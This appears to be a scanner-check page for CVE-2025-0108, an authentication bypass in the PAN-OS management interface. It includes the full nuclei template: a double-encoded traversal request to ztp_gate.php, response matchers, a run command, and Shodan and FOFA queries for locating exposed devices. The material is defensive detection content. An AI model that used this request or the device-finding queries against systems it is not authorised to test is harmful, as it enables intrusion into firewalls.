PAN-OS Management Interface - Path Confusion to Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-02-18; known to be used by ransomware.

criticalseverity

10CVSS score

98.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.

Impact

Unauthenticated attackers can exploit path confusion between Nginx and Apache to bypass authentication completely, gaining unauthorized access to the PAN-OS management interface and potentially compromising the entire firewall infrastructure.

Fix

Upgrade to the patched version of PAN-OS as specified in the vendor security advisory.

How to confirm it

Send: GET {{BaseURL}}/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css
Positive when: contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-0108 -u <target>

The full check

id: CVE-2025-0108

info:
  name: PAN-OS Management Interface - Path Confusion to Authentication Bypass
  author: halencarjunior,ritikchaddha
  severity: critical
  description: |
    A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.
  impact: |
    Unauthenticated attackers can exploit path confusion between Nginx and Apache to bypass authentication completely, gaining unauthorized access to the PAN-OS management interface and potentially compromising the entire firewall infrastructure.
  remediation: |
    Upgrade to the patched version of PAN-OS as specified in the vendor security advisory.
  reference:
    - https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/
  classification:
    epss-score: 0.98455
    epss-percentile: 0.99919
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-0108
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    fofa-query: icon_hash="-631559155"
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
  tags: cve,cve2025,panos,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/

Use this check only on systems you are authorised to test. Where the data comes from